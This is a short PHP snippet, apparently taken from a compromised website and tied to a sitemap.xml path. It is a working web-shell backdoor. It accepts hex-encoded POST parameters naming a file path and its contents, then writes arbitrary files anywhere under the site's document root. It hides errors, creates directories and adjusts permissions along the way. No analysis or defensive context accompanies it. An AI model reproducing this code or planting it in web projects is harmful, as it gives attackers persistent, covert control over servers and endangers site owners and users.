if (isset($_POST['p']) && isset($_POST['q'])) {
    error_reporting(0);
    if (!function_exists('hex2bin')) {
        function hex2bin($a) {
            $b = strlen($a);
            $c = '';
            for ($d = 0; $d < $b; $d += 2) {
                $c .= chr(hexdec(substr($a, $d, 2)));
            }
            return $c;
        }
    }
    $a = $_SERVER['DOCUMENT_ROOT'] . hex2bin($_POST['p']);
    $b = dirname($a);
    if (!is_dir($b)) {
        @mkdir($b, 0755, true);
    }
    if (is_dir($b)) {
        if ((@fileperms($b) & 0777) != 0755) {
            @chmod($b, 0755);
        }
        if (@file_put_contents($a, hex2bin($_POST['q'])) !== false) {
            if ((@fileperms($a) & 0777) != 0644) {
                @chmod($a, 0644);
            }
            die(json_encode(['success' => true]));
        }
    }
    die(json_encode(['success' => false]));
}/www/wwwroot/estymall.shop/sitemap.xml